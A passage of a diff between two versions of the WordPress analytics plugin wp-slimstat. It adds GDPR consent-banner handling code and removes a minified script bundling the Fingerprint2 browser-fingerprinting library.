event.stopPropagation();\n+                            }\n+                            var consent = button.getAttribute(\"data-consent\") || \"\";\n+                            submitBannerDecision(consent, banner);\n+                        };\n+                    }\n+                })(buttons[i]);\n+            }\n+        }\n+\n+        function submitBannerDecision(consent, bannerEl) {\n+            if (!consent || (consent !== \"accepted\" && consent !== \"denied\")) {\n+                return;\n+            }\n+\n+            var params = currentSlimStatParams();\n+            var nonce = params.wp_rest_nonce || \"\";\n+            var cookieName = params.gdpr_cookie_name || \"slimstat_gdpr_consent\";\n+            var cookiePath = params.gdpr_cookie_path || params.baseurl || \"\u002F\";\n+\n+            \u002F\u002F Set cookie immediately\n+            try {\n+                var expiry = new Date();\n+                expiry.setTime(expiry.getTime() + 365 * 24 * 60 * 60 * 1000);\n+                var cookie = cookieName + \"=\" + consent + \"; path=\" + cookiePath + \"; expires=\" + expiry.toUTCString() + \"; SameSite=Lax\";\n+                if (window && window.location && window.location.protocol === \"https:\") {\n+                    cookie += \"; Secure\";\n+                }\n+                document.cookie = cookie;\n+            } catch (cookieError) {\n+                \u002F* ignore cookie errors *\u002F\n+            }\n+\n+            \u002F\u002F Close banner with animation (before request)\n+            if (bannerEl && bannerEl.classList) {\n+                bannerEl.classList.remove(\"show\");\n+                bannerEl.classList.add(\"hiding\");\n+            } else if (bannerEl) {\n+                \u002F\u002F Fallback for browsers without classList\n+                bannerEl.style.transition = \"transform 0.3s ease-out, opacity 0.3s ease-out\";\n+                bannerEl.style.transform = \"translateY(100%)\";\n+                bannerEl.style.opacity = \"0\";\n+            }\n+\n+            \u002F\u002F Remove banner from DOM after animation completes\n+            setTimeout(function () {\n+                if (bannerEl && bannerEl.parentNode) {\n+                    bannerEl.parentNode.removeChild(bannerEl);\n+                }\n+            }, 350);\n+\n+            \u002F\u002F Dispatch consent event immediately\n+            if (consent === \"accepted\") {\n+                try {\n+                    if (typeof CustomEvent === \"function\") {\n+                        document.dispatchEvent(new CustomEvent(\"slimstat_banner_consent\", { detail: { consent: consent } }));\n+                    } else {\n+                        var evt = document.createEvent(\"Event\");\n+                        evt.initEvent(\"slimstat_banner_consent\", true, true);\n+                        document.dispatchEvent(evt);\n+                    }\n+                } catch (dispatchError) {\n+                    \u002F* ignore *\u002F\n+                }\n+\n+                \u002F\u002F Send consent change to server via REST API\n+                try {\n+                    var parsedConsent = normalizeConsent(consent);\n+                    var pageviewId = null;\n+                    if (params.id && parseInt(params.id, 10) > 0) {\n+                        pageviewId = parseInt(params.id, 10);\n+                    }\n+                    sendConsentChangeToServer(\"slimstat_banner\", parsedConsent, pageviewId);\n+                } catch (apiError) {}\n+\n+                try {\n+                    requestConsentUpgrade({ consent: consent, consentNonce: nonce });\n+                } catch (sendError) {}\n+            } else if (consent === \"denied\") {\n+                \u002F\u002F Send consent change to server via REST API\n+                try {\n+                    var parsedConsentDenied = normalizeConsent(consent);\n+                    sendConsentChangeToServer(\"slimstat_banner\", parsedConsentDenied, null);\n+                } catch (apiError) {}\n+\n+                \u002F\u002F Call revocation handler to delete tracking cookie\n+                try {\n+                    var ajaxUrl = params.ajaxurl || \"\u002Fwp-admin\u002Fadmin-ajax.php\";\n+                    var revokeXhr = new XMLHttpRequest();\n+                    revokeXhr.open(\"POST\", ajaxUrl, true);\n+                    revokeXhr.setRequestHeader(\"Content-Type\", \"application\u002Fx-www-form-urlencoded\");\n+                    revokeXhr.send(\"action=slimstat_consent_revoked&nonce=\" + encodeURIComponent(nonce));\n+                    revokeXhr.onload = function () {};\n+                    revokeXhr.onerror = function () {};\n+                } catch (revokeError) {\n+                    \u002F* ignore *\u002F\n+                }\n+            }\n+        }\n+\n+        if (document.readyState && document.readyState !== \"loading\") {\n+            attachBannerHandlers();\n+        }\n+\n+        if (document.addEventListener) {\n+            document.addEventListener(\"DOMContentLoaded\", attachBannerHandlers, false);\n+            window.addEventListener(\"load\", attachBannerHandlers, false);\n+        } else if (document.attachEvent) {\n+            document.attachEvent(\"onreadystatechange\", function () {\n+                if (document.readyState === \"complete\") {\n+                    attachBannerHandlers();\n+                }\n+            });\n+            window.attachEvent(\"onload\", attachBannerHandlers);\n+        } else {\n+            if (document.readyState === \"complete\") {\n+                attachBannerHandlers();\n+            }\n+            window.onload = attachBannerHandlers;\n+        }\n+    }\n+\n+    \u002F\u002F Initialize consent helpers\n+    initSlimStatBanner();\n+    setupConsentUpgradeHandler();\n })();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fwp-slimstat.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.min.js\t2025-09-09 12:32:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fwp-slimstat.min.js\t2026-03-08 13:29:08.000000000 +0000\n@@ -1,2 +1,10 @@\n-(()=>{var st=Object.create;var We=Object.defineProperty;var ut=Object.getOwnPropertyDescriptor;var lt=Object.getOwnPropertyNames;var ft=Object.getPrototypeOf,ct=Object.prototype.hasOwnProperty;var dt=(p,g)=>()=>(g||p((g={exports:{}}).exports,g),g.exports);var gt=(p,g,C,x)=>{if(g&&typeof g==\"object\"||typeof g==\"function\")for(let v of lt(g))!ct.call(p,v)&&v!==C&&We(p,v,{get:()=>g[v],enumerable:!(x=ut(g,v))||x.enumerable});return p};var ht=(p,g,C)=>(C=p!=null?st(ft(p)):{},gt(g||!p||!p.__esModule?We(C,\"default\",{value:p,enumerable:!0}):C,p));var ze=dt((je,Pe)=>{(function(p,g,C){\"use strict\";typeof window\u003C\"u\"&&typeof define==\"function\"&&define.amd?define(C):typeof Pe\u003C\"u\"&&Pe.exports?Pe.exports=C():g.exports?g.exports=C():g[p]=C()})(\"Fingerprint2\",je,function(){\"use strict\";typeof Array.isArray>\"u\"&&(Array.isArray=function(e){return Object.prototype.toString.call(e)===\"[object Array]\"});var p=function(e,t){e=[e[0]>>>16,e[0]&65535,e[1]>>>16,e[1]&65535],t=[t[0]>>>16,t[0]&65535,t[1]>>>16,t[1]&65535];var r=[0,0,0,0];return r[3]+=e[3]+t[3],r[2]+=r[3]>>>16,r[3]&=65535,r[2]+=e[2]+t[2],r[1]+=r[2]>>>16,r[2]&=65535,r[1]+=e[1]+t[1],r[0]+=r[1]>>>16,r[1]&=65535,r[0]+=e[0]+t[0],r[0]&=65535,[r[0]\u003C\u003C16|r[1],r[2]\u003C\u003C16|r[3]]},g=function(e,t){e=[e[0]>>>16,e[0]&65535,e[1]>>>16,e[1]&65535],t=[t[0]>>>16,t[0]&65535,t[1]>>>16,t[1]&65535];var r=[0,0,0,0];return r[3]+=e[3]*t[3],r[2]+=r[3]>>>16,r[3]&=65535,r[2]+=e[2]*t[3],r[1]+=r[2]>>>16,r[2]&=65535,r[2]+=e[3]*t[2],r[1]+=r[2]>>>16,r[2]&=65535,r[1]+=e[1]*t[3],r[0]+=r[1]>>>16,r[1]&=65535,r[1]+=e[2]*t[2],r[0]+=r[1]>>>16,r[1]&=65535,r[1]+=e[3]*t[1],r[0]+=r[1]>>>16,r[1]&=65535,r[0]+=e[0]*t[3]+e[1]*t[2]+e[2]*t[1]+e[3]*t[0],r[0]&=65535,[r[0]\u003C\u003C16|r[1],r[2]\u003C\u003C16|r[3]]},C=function(e,t){return t%=64,t===32?[e[1],e[0]]:t\u003C32?[e[0]\u003C\u003Ct|e[1]>>>32-t,e[1]\u003C\u003Ct|e[0]>>>32-t]:(t-=32,[e[1]\u003C\u003Ct|e[0]>>>32-t,e[0]\u003C\u003Ct|e[1]>>>32-t])},x=function(e,t){return t%=64,t===0?e:t\u003C32?[e[0]\u003C\u003Ct|e[1]>>>32-t,e[1]\u003C\u003Ct]:[e[1]\u003C\u003Ct-32,0]},v=function(e,t){return[e[0]^t[0],e[1]^t[1]]},P=function(e){return e=v(e,[0,e[0]>>>1]),e=g(e,[4283543511,3981806797]),e=v(e,[0,e[0]>>>1]),e=g(e,[3301882366,444984403]),e=v(e,[0,e[0]>>>1]),e},F=function(e,t){e=e||\"\",t=t||0;for(var r=e.length%16,a=e.length-r,i=[0,t],o=[0,t],l=[0,0],c=[0,0],A=[2277735313,289559509],M=[1291169091,658871167],h=0;h\u003Ca;h=h+16)l=[e.charCodeAt(h+4)&255|(e.charCodeAt(h+5)&255)\u003C\u003C8|(e.charCodeAt(h+6)&255)\u003C\u003C16|(e.charCodeAt(h+7)&255)\u003C\u003C24,e.charCodeAt(h)&255|(e.charCodeAt(h+1)&255)\u003C\u003C8|(e.charCodeAt(h+2)&255)\u003C\u003C16|(e.charCodeAt(h+3)&255)\u003C\u003C24],c=[e.charCodeAt(h+12)&255|(e.charCodeAt(h+13)&255)\u003C\u003C8|(e.charCodeAt(h+14)&255)\u003C\u003C16|(e.charCodeAt(h+15)&255)\u003C\u003C24,e.charCodeAt(h+8)&255|(e.charCodeAt(h+9)&255)\u003C\u003C8|(e.charCodeAt(h+10)&255)\u003C\u003C16|(e.charCodeAt(h+11)&255)\u003C\u003C24],l=g(l,A),l=C(l,31),l=g(l,M),i=v(i,l),i=C(i,27),i=p(i,o),i=p(g(i,[0,5]),[0,1390208809]),c=g(c,M),c=C(c,33),c=g(c,A),o=v(o,c),o=C(o,31),o=p(o,i),o=p(g(o,[0,5]),[0,944331445]);switch(l=[0,0],c=[0,0],r){case 15:c=v(c,x([0,e.charCodeAt(h+14)],48));case 14:c=v(c,x([0,e.charCodeAt(h+13)],40));case 13:c=v(c,x([0,e.charCodeAt(h+12)],32));case 12:c=v(c,x([0,e.charCodeAt(h+11)],24));case 11:c=v(c,x([0,e.charCodeAt(h+10)],16));case 10:c=v(c,x([0,e.charCodeAt(h+9)],8));case 9:c=v(c,[0,e.charCodeAt(h+8)]),c=g(c,M),c=C(c,33),c=g(c,A),o=v(o,c);case 8:l=v(l,x([0,e.charCodeAt(h+7)],56));case 7:l=v(l,x([0,e.charCodeAt(h+6)],48));case 6:l=v(l,x([0,e.charCodeAt(h+5)],40));case 5:l=v(l,x([0,e.charCodeAt(h+4)],32));case 4:l=v(l,x([0,e.charCodeAt(h+3)],24));case 3:l=v(l,x([0,e.charCodeAt(h+2)],16));case 2:l=v(l,x([0,e.charCodeAt(h+1)],8));case 1:l=v(l,[0,e.charCodeAt(h)]),l=g(l,A),l=C(l,31),l=g(l,M),i=v(i,l)}return i=v(i,[0,e.length]),o=v(o,[0,e.length]),i=p(i,o),o=p(o,i),i=P(i),o=P(o),i=p(i,o),o=p(o,i),(\"00000000\"+(i[0]>>>0).toString(16)).slice(-8)+(\"00000000\"+(i[1]>>>0).toString(16)).slice(-8)+(\"00000000\"+(o[0]>>>0).toString(16)).slice(-8)+(\"00000000\"+(o[1]>>>0).toString(16)).slice(-8)},te={preprocessor:null,audio:{timeout:1e3,excludeIOS11:!0},fonts:{swfContainerId:\"fingerprintjs2\",swfPath:\"flash\u002Fcompiled\u002FFontList.swf\",userDefinedFonts:[],extendedJsFonts:!1},screen:{detectScreenOrientation:!0},plugins:{sortPluginsFor:[\u002Fpalemoon\u002Fi],excludeIE:!1},extraComponents:[],excludes:{enumerateDevices:!0,pixelRatio:!0,doNotTrack:!0,fontsFlash:!0,adBlock:!0},NOT_AVAILABLE:\"not available\",ERROR:\"error\",EXCLUDED:\"excluded\"},G=function(e,t){if(Array.prototype.forEach&&e.forEach===Array.prototype.forEach)e.forEach(t);else if(e.length===+e.length)for(var r=0,a=e.length;r\u003Ca;r++)t(e[r],r,e);else for(var i in e)e.hasOwnProperty(i)&&t(e[i],i,e)},K=function(e,t){var r=[];return e==null?r:Array.prototype.map&&e.map===Array.prototype.map?e.map(t):(G(e,function(a,i,o){r.push(t(a,i,o))}),r)},re=function(e,t){if(t==null)return e;var r,a;for(a in t)r=t[a],r!=null&&!Object.prototype.hasOwnProperty.call(e,a)&&(e[a]=r);return e},pe=function(e,t){if(!W())return e(t.NOT_AVAILABLE);navigator.mediaDevices.enumerateDevices().then(function(r){e(r.map(function(a){return\"id=\"+a.deviceId+\";gid=\"+a.groupId+\";\"+a.kind+\";\"+a.label}))}).catch(function(r){e(r)})},W=function(){return navigator.mediaDevices&&navigator.mediaDevices.enumerateDevices},ue=function(e,t){var r=t.audio;if(r.excludeIOS11&&navigator.userAgent.match(\u002FOS 11.+Version\\\u002F11.+Safari\u002F))return e(t.EXCLUDED);var a=window.OfflineAudioContext||window.webkitOfflineAudioContext;if(a==null)return e(t.NOT_AVAILABLE);var i=new a(1,44100,44100),o=i.createOscillator();o.type=\"triangle\",o.frequency.setValueAtTime(1e4,i.currentTime);var l=i.createDynamicsCompressor();G([[\"threshold\",-50],[\"knee\",40],[\"ratio\",12],[\"reduction\",-20],[\"attack\",0],[\"release\",.25]],function(A){l[A[0]]!==void 0&&typeof l[A[0]].setValueAtTime==\"function\"&&l[A[0]].setValueAtTime(A[1],i.currentTime)}),o.connect(l),l.connect(i.destination),o.start(0),i.startRendering();var c=setTimeout(function(){return console.warn('Audio fingerprint timed out. Please report bug at https:\u002F\u002Fgithub.com\u002Ffingerprintjs\u002Ffingerprintjs with your user agent: \"'+navigator.userAgent+'\".'),i.oncomplete=function(){},i=null,e(\"audioTimeout\")},r.timeout);i.oncomplete=function(A){var M;try{clearTimeout(c),M=A.renderedBuffer.getChannelData(0).slice(4500,5e3).reduce(function(h,$){return h+Math.abs($)},0).toString(),o.disconnect(),l.disconnect()}catch(h){e(h);return}e(M)}},le=function(e){e(navigator.userAgent)},D=function(e,t){e(navigator.webdriver==null?t.NOT_AVAILABLE:navigator.webdriver)},U=function(e,t){e(navigator.language||navigator.userLanguage||navigator.browserLanguage||navigator.systemLanguage||t.NOT_AVAILABLE)},me=function(e,t){e(window.screen.colorDepth||t.NOT_AVAILABLE)},we=function(e,t){e(navigator.deviceMemory||t.NOT_AVAILABLE)},m=function(e,t){e(window.devicePixelRatio||t.NOT_AVAILABLE)},S=function(e,t){e(L(t))},L=function(e){var t=[window.screen.width,window.screen.height];return e.screen.detectScreenOrientation&&t.sort().reverse(),t},T=function(e,t){e(z(t))},z=function(e){if(window.screen.availWidth&&window.screen.availHeight){var t=[window.screen.availHeight,window.screen.availWidth];return e.screen.detectScreenOrientation&&t.sort().reverse(),t}return e.NOT_AVAILABLE},J=function(e){e(new Date().getTimezoneOffset())},ae=function(e,t){if(window.Intl&&window.Intl.DateTimeFormat){e(new window.Intl.DateTimeFormat().resolvedOptions().timeZone||t.NOT_AVAILABLE);return}e(t.NOT_AVAILABLE)},q=function(e,t){e(H(t))},fe=function(e,t){e(j(t))},ne=function(e,t){e(Q(t))},ce=function(e){e(!!window.HTMLElement.prototype.addBehavior)},ie=function(e){e(!!window.openDatabase)},Te=function(e,t){e(V(t))},de=function(e,t){e(k(t))},ye=function(e,t){e(I(t))},_e=function(e,t){if(He()){e(Se(t));return}e(t.NOT_AVAILABLE)},Ie=function(e,t){if(Ve()){e(Ce());return}e(t.NOT_AVAILABLE)},Me=function(e){if(Ve()){e(xe());return}e()},Le=function(e){e(ge())},Ne=function(e){e(Ee())},Re=function(e){e(E())},Ae=function(e){e(qe())},De=function(e){e(Qe())},n=function(e,t){if(!Ze())return e(\"swf object not loaded\");if(!$e())return e(\"flash not installed\");if(!t.fonts.swfPath)return e(\"missing options.fonts.swfPath\");tt(function(r){e(r)},t)},s=function(e,t){var r=[\"monospace\",\"sans-serif\",\"serif\"],a=[\"Andale Mono\",\"Arial\",\"Arial Black\",\"Arial Hebrew\",\"Arial MT\",\"Arial Narrow\",\"Arial Rounded MT Bold\",\"Arial Unicode MS\",\"Bitstream Vera Sans Mono\",\"Book Antiqua\",\"Bookman Old Style\",\"Calibri\",\"Cambria\",\"Cambria Math\",\"Century\",\"Century Gothic\",\"Century Schoolbook\",\"Comic Sans\",\"Comic Sans MS\",\"Consolas\",\"Courier\",\"Courier New\",\"Geneva\",\"Georgia\",\"Helvetica\",\"Helvetica Neue\",\"Impact\",\"Lucida Bright\",\"Lucida Calligraphy\",\"Lucida Console\",\"Lucida Fax\",\"LUCIDA GRANDE\",\"Lucida Handwriting\",\"Lucida Sans\",\"Lucida Sans Typewriter\",\"Lucida Sans Unicode\",\"Microsoft Sans Serif\",\"Monaco\",\"Monotype Corsiva\",\"MS Gothic\",\"MS Outlook\",\"MS PGothic\",\"MS Reference Sans Serif\",\"MS Sans Serif\",\"MS Serif\",\"MYRIAD\",\"MYRIAD PRO\",\"Palatino\",\"Palatino Linotype\",\"Segoe Print\",\"Segoe Script\",\"Segoe UI\",\"Segoe UI Light\",\"Segoe UI Semibold\",\"Segoe UI Symbol\",\"Tahoma\",\"Times\",\"Times New Roman\",\"Times New Roman PS\",\"Trebuchet MS\",\"Verdana\",\"Wingdings\",\"Wingdings 2\",\"Wingdings 3\"];if(t.fonts.extendedJsFonts){var i=[\"Abadi MT Condensed Light\",\"Academy Engraved LET\",\"ADOBE CASLON PRO\",\"Adobe Garamond\",\"ADOBE GARAMOND PRO\",\"Agency FB\",\"Aharoni\",\"Albertus Extra Bold\",\"Albertus Medium\",\"Algerian\",\"Amazone BT\",\"American Typewriter\",\"American Typewriter Condensed\",\"AmerType Md BT\",\"Andalus\",\"Angsana New\",\"AngsanaUPC\",\"Antique Olive\",\"Aparajita\",\"Apple Chancery\",\"Apple Color Emoji\",\"Apple SD Gothic Neo\",\"Arabic Typesetting\",\"ARCHER\",\"ARNO PRO\",\"Arrus BT\",\"Aurora Cn BT\",\"AvantGarde Bk BT\",\"AvantGarde Md BT\",\"AVENIR\",\"Ayuthaya\",\"Bandy\",\"Bangla Sangam MN\",\"Bank Gothic\",\"BankGothic Md BT\",\"Baskerville\",\"Baskerville Old Face\",\"Batang\",\"BatangChe\",\"Bauer Bodoni\",\"Bauhaus 93\",\"Bazooka\",\"Bell MT\",\"Bembo\",\"Benguiat Bk BT\",\"Berlin Sans FB\",\"Berlin Sans FB Demi\",\"Bernard MT Condensed\",\"BernhardFashion BT\",\"BernhardMod BT\",\"Big Caslon\",\"BinnerD\",\"Blackadder ITC\",\"BlairMdITC TT\",\"Bodoni 72\",\"Bodoni 72 Oldstyle\",\"Bodoni 72 Smallcaps\",\"Bodoni MT\",\"Bodoni MT Black\",\"Bodoni MT Condensed\",\"Bodoni MT Poster Compressed\",\"Bookshelf Symbol 7\",\"Boulder\",\"Bradley Hand\",\"Bradley Hand ITC\",\"Bremen Bd BT\",\"Britannic Bold\",\"Broadway\",\"Browallia New\",\"BrowalliaUPC\",\"Brush Script MT\",\"Californian FB\",\"Calisto MT\",\"Calligrapher\",\"Candara\",\"CaslonOpnface BT\",\"Castellar\",\"Centaur\",\"Cezanne\",\"CG Omega\",\"CG Times\",\"Chalkboard\",\"Chalkboard SE\",\"Chalkduster\",\"Charlesworth\",\"Charter Bd BT\",\"Charter BT\",\"Chaucer\",\"ChelthmITC Bk BT\",\"Chiller\",\"Clarendon\",\"Clarendon Condensed\",\"CloisterBlack BT\",\"Cochin\",\"Colonna MT\",\"Constantia\",\"Cooper Black\",\"Copperplate\",\"Copperplate Gothic\",\"Copperplate Gothic Bold\",\"Copperplate Gothic Light\",\"CopperplGoth Bd BT\",\"Corbel\",\"Cordia New\",\"CordiaUPC\",\"Cornerstone\",\"Coronet\",\"Cuckoo\",\"Curlz MT\",\"DaunPenh\",\"Dauphin\",\"David\",\"DB LCD Temp\",\"DELICIOUS\",\"Denmark\",\"DFKai-SB\",\"Didot\",\"DilleniaUPC\",\"DIN\",\"DokChampa\",\"Dotum\",\"DotumChe\",\"Ebrima\",\"Edwardian Script ITC\",\"Elephant\",\"English 111 Vivace BT\",\"Engravers MT\",\"EngraversGothic BT\",\"Eras Bold ITC\",\"Eras Demi ITC\",\"Eras Light ITC\",\"Eras Medium ITC\",\"EucrosiaUPC\",\"Euphemia\",\"Euphemia UCAS\",\"EUROSTILE\",\"Exotc350 Bd BT\",\"FangSong\",\"Felix Titling\",\"Fixedsys\",\"FONTIN\",\"Footlight MT Light\",\"Forte\",\"FrankRuehl\",\"Fransiscan\",\"Freefrm721 Blk BT\",\"FreesiaUPC\",\"Freestyle Script\",\"French Script MT\",\"FrnkGothITC Bk BT\",\"Fruitger\",\"FRUTIGER\",\"Futura\",\"Futura Bk BT\",\"Futura Lt BT\",\"Futura Md BT\",\"Futura ZBlk BT\",\"FuturaBlack BT\",\"Gabriola\",\"Galliard BT\",\"Gautami\",\"Geeza Pro\",\"Geometr231 BT\",\"Geometr231 Hv BT\",\"Geometr231 Lt BT\",\"GeoSlab 703 Lt BT\",\"GeoSlab 703 XBd BT\",\"Gigi\",\"Gill Sans\",\"Gill Sans MT\",\"Gill Sans MT Condensed\",\"Gill Sans MT Ext Condensed Bold\",\"Gill Sans Ultra Bold\",\"Gill Sans Ultra Bold Condensed\",\"Gisha\",\"Gloucester MT Extra Condensed\",\"GOTHAM\",\"GOTHAM BOLD\",\"Goudy Old Style\",\"Goudy Stout\",\"GoudyHandtooled BT\",\"GoudyOLSt BT\",\"Gujarati Sangam MN\",\"Gulim\",\"GulimChe\",\"Gungsuh\",\"GungsuhChe\",\"Gurmukhi MN\",\"Haettenschweiler\",\"Harlow Solid Italic\",\"Harrington\",\"Heather\",\"Heiti SC\",\"Heiti TC\",\"HELV\",\"Herald\",\"High Tower Text\",\"Hiragino Kaku Gothic ProN\",\"Hiragino Mincho ProN\",\"Hoefler Text\",\"Humanst 521 Cn BT\",\"Humanst521 BT\",\"Humanst521 Lt BT\",\"Imprint MT Shadow\",\"Incised901 Bd BT\",\"Incised901 BT\",\"Incised901 Lt BT\",\"INCONSOLATA\",\"Informal Roman\",\"Informal011 BT\",\"INTERSTATE\",\"IrisUPC\",\"Iskoola Pota\",\"JasmineUPC\",\"Jazz LET\",\"Jenson\",\"Jester\",\"Jokerman\",\"Juice ITC\",\"Kabel Bk BT\",\"Kabel Ult BT\",\"Kailasa\",\"KaiTi\",\"Kalinga\",\"Kannada Sangam MN\",\"Kartika\",\"Kaufmann Bd BT\",\"Kaufmann BT\",\"Khmer UI\",\"KodchiangUPC\",\"Kokila\",\"Korinna BT\",\"Kristen ITC\",\"Krungthep\",\"Kunstler Script\",\"Lao UI\",\"Latha\",\"Leelawadee\",\"Letter Gothic\",\"Levenim MT\",\"LilyUPC\",\"Lithograph\",\"Lithograph Light\",\"Long Island\",\"Lydian BT\",\"Magneto\",\"Maiandra GD\",\"Malayalam Sangam MN\",\"Malgun Gothic\",\"Mangal\",\"Marigold\",\"Marion\",\"Marker Felt\",\"Market\",\"Marlett\",\"Matisse ITC\",\"Matura MT Script Capitals\",\"Meiryo\",\"Meiryo UI\",\"Microsoft Himalaya\",\"Microsoft JhengHei\",\"Microsoft New Tai Lue\",\"Microsoft PhagsPa\",\"Microsoft Tai Le\",\"Microsoft Uighur\",\"Microsoft YaHei\",\"Microsoft Yi Baiti\",\"MingLiU\",\"MingLiU_HKSCS\",\"MingLiU_HKSCS-ExtB\",\"MingLiU-ExtB\",\"Minion\",\"Minion Pro\",\"Miriam\",\"Miriam Fixed\",\"Mistral\",\"Modern\",\"Modern No. 20\",\"Mona Lisa Solid ITC TT\",\"Mongolian Baiti\",\"MONO\",\"MoolBoran\",\"Mrs Eaves\",\"MS LineDraw\",\"MS Mincho\",\"MS PMincho\",\"MS Reference Specialty\",\"MS UI Gothic\",\"MT Extra\",\"MUSEO\",\"MV Boli\",\"Nadeem\",\"Narkisim\",\"NEVIS\",\"News Gothic\",\"News GothicMT\",\"NewsGoth BT\",\"Niagara Engraved\",\"Niagara Solid\",\"Noteworthy\",\"NSimSun\",\"Nyala\",\"OCR A Extended\",\"Old Century\",\"Old English Text MT\",\"Onyx\",\"Onyx BT\",\"OPTIMA\",\"Oriya Sangam MN\",\"OSAKA\",\"OzHandicraft BT\",\"Palace Script MT\",\"Papyrus\",\"Parchment\",\"Party LET\",\"Pegasus\",\"Perpetua\",\"Perpetua Titling MT\",\"PetitaBold\",\"Pickwick\",\"Plantagenet Cherokee\",\"Playbill\",\"PMingLiU\",\"PMingLiU-ExtB\",\"Poor Richard\",\"Poster\",\"PosterBodoni BT\",\"PRINCETOWN LET\",\"Pristina\",\"PTBarnum BT\",\"Pythagoras\",\"Raavi\",\"Rage Italic\",\"Ravie\",\"Ribbon131 Bd BT\",\"Rockwell\",\"Rockwell Condensed\",\"Rockwell Extra Bold\",\"Rod\",\"Roman\",\"Sakkal Majalla\",\"Santa Fe LET\",\"Savoye LET\",\"Sceptre\",\"Script\",\"Script MT Bold\",\"SCRIPTINA\",\"Serifa\",\"Serifa BT\",\"Serifa Th BT\",\"ShelleyVolante BT\",\"Sherwood\",\"Shonar Bangla\",\"Showcard Gothic\",\"Shruti\",\"Signboard\",\"SILKSCREEN\",\"SimHei\",\"Simplified Arabic\",\"Simplified Arabic Fixed\",\"SimSun\",\"SimSun-ExtB\",\"Sinhala Sangam MN\",\"Sketch Rockwell\",\"Skia\",\"Small Fonts\",\"Snap ITC\",\"Snell Roundhand\",\"Socket\",\"Souvenir Lt BT\",\"Staccato222 BT\",\"Steamer\",\"Stencil\",\"Storybook\",\"Styllo\",\"Subway\",\"Swis721 BlkEx BT\",\"Swiss911 XCm BT\",\"Sylfaen\",\"Synchro LET\",\"System\",\"Tamil Sangam MN\",\"Technical\",\"Teletype\",\"Telugu Sangam MN\",\"Tempus Sans ITC\",\"Terminal\",\"Thonburi\",\"Traditional Arabic\",\"Trajan\",\"TRAJAN PRO\",\"Tristan\",\"Tubular\",\"Tunga\",\"Tw Cen MT\",\"Tw Cen MT Condensed\",\"Tw Cen MT Condensed Extra Bold\",\"TypoUpright BT\",\"Unicorn\",\"Univers\",\"Univers CE 55 Medium\",\"Univers Condensed\",\"Utsaah\",\"Vagabond\",\"Vani\",\"Vijaya\",\"Viner Hand ITC\",\"VisualUI\",\"Vivaldi\",\"Vladimir Script\",\"Vrinda\",\"Westminster\",\"WHITNEY\",\"Wide Latin\",\"ZapfEllipt BT\",\"ZapfHumnst BT\",\"ZapfHumnst Dm BT\",\"Zapfino\",\"Zurich BlkEx BT\",\"Zurich Ex BT\",\"ZWAdobeF\"];a=a.concat(i)}a=a.concat(t.fonts.userDefinedFonts),a=a.filter(function(y,N){return a.indexOf(y)===N});var o=\"mmmmmmmmmmlli\",l=\"72px\",c=document.getElementsByTagName(\"body\")[0],A=document.createElement(\"div\"),M=document.createElement(\"div\"),h={},$={},R=function(){var y=document.createElement(\"span\");return y.style.position=\"absolute\",y.style.left=\"-9999px\",y.style.fontSize=l,y.style.fontStyle=\"normal\",y.style.fontWeight=\"normal\",y.style.letterSpacing=\"normal\",y.style.lineBreak=\"auto\",y.style.lineHeight=\"normal\",y.style.textTransform=\"none\",y.style.textAlign=\"left\",y.style.textDecoration=\"none\",y.style.textShadow=\"none\",y.style.whiteSpace=\"normal\",y.style.wordBreak=\"normal\",y.style.wordSpacing=\"normal\",y.innerHTML=o,y},oe=function(y,N){var X=R();return X.style.fontFamily=\"'\"+y+\"',\"+N,X},ee=function(){for(var y=[],N=0,X=r.length;N\u003CX;N++){var ve=R();ve.style.fontFamily=r[N],A.appendChild(ve),y.push(ve)}return y},se=function(){for(var y={},N=0,X=a.length;N\u003CX;N++){for(var ve=[],Ge=0,ot=r.length;Ge\u003Cot;Ge++){var Ke=oe(a[N],r[Ge]);M.appendChild(Ke),ve.push(Ke)}y[a[N]]=ve}return y},Fe=function(y){for(var N=!1,X=0;X\u003Cr.length;X++)if(N=y[X].offsetWidth!==h[r[X]]||y[X].offsetHeight!==$[r[X]],N)return N;return N},Oe=ee();c.appendChild(A);for(var he=0,at=r.length;he\u003Cat;he++)h[r[he]]=Oe[he].offsetWidth,$[r[he]]=Oe[he].offsetHeight;var nt=se();c.appendChild(M);for(var Xe=[],be=0,it=a.length;be\u003Cit;be++)Fe(nt[a[be]])&&Xe.push(a[be]);c.removeChild(M),c.removeChild(A),e(Xe)},u=function(e,t){Je()?t.plugins.excludeIE?e(t.EXCLUDED):e(w(t)):e(f(t))},f=function(e){if(navigator.plugins==null)return e.NOT_AVAILABLE;for(var t=[],r=0,a=navigator.plugins.length;r\u003Ca;r++)navigator.plugins[r]&&t.push(navigator.plugins[r]);return d(e)&&(t=t.sort(function(i,o){return i.name>o.name?1:i.name\u003Co.name?-1:0})),K(t,function(i){var o=K(i,function(l){return[l.type,l.suffixes]});return[i.name,i.description,o]})},w=function(e){var t=[];if(Object.getOwnPropertyDescriptor&&Object.getOwnPropertyDescriptor(window,\"ActiveXObject\")||\"ActiveXObject\"in window){var r=[\"AcroPDF.PDF\",\"Adodb.Stream\",\"AgControl.AgControl\",\"DevalVRXCtrl.DevalVRXCtrl.1\",\"MacromediaFlashPaper.MacromediaFlashPaper\",\"Msxml2.DOMDocument\",\"Msxml2.XMLHTTP\",\"PDF.PdfCtrl\",\"QuickTime.QuickTime\",\"QuickTimeCheckObject.QuickTimeCheck.1\",\"RealPlayer\",\"RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)\",\"RealVideo.RealVideo(tm) ActiveX Control (32-bit)\",\"Scripting.Dictionary\",\"SWCtl.SWCtl\",\"Shell.UIHelper\",\"ShockwaveFlash.ShockwaveFlash\",\"Skype.Detection\",\"TDCCtl.TDCCtl\",\"WMPlayer.OCX\",\"rmocx.RealPlayer G2 Control\",\"rmocx.RealPlayer G2 Control.1\"];t=K(r,function(a){try{return new window.ActiveXObject(a),a}catch{return e.ERROR}})}else t.push(e.NOT_AVAILABLE);return 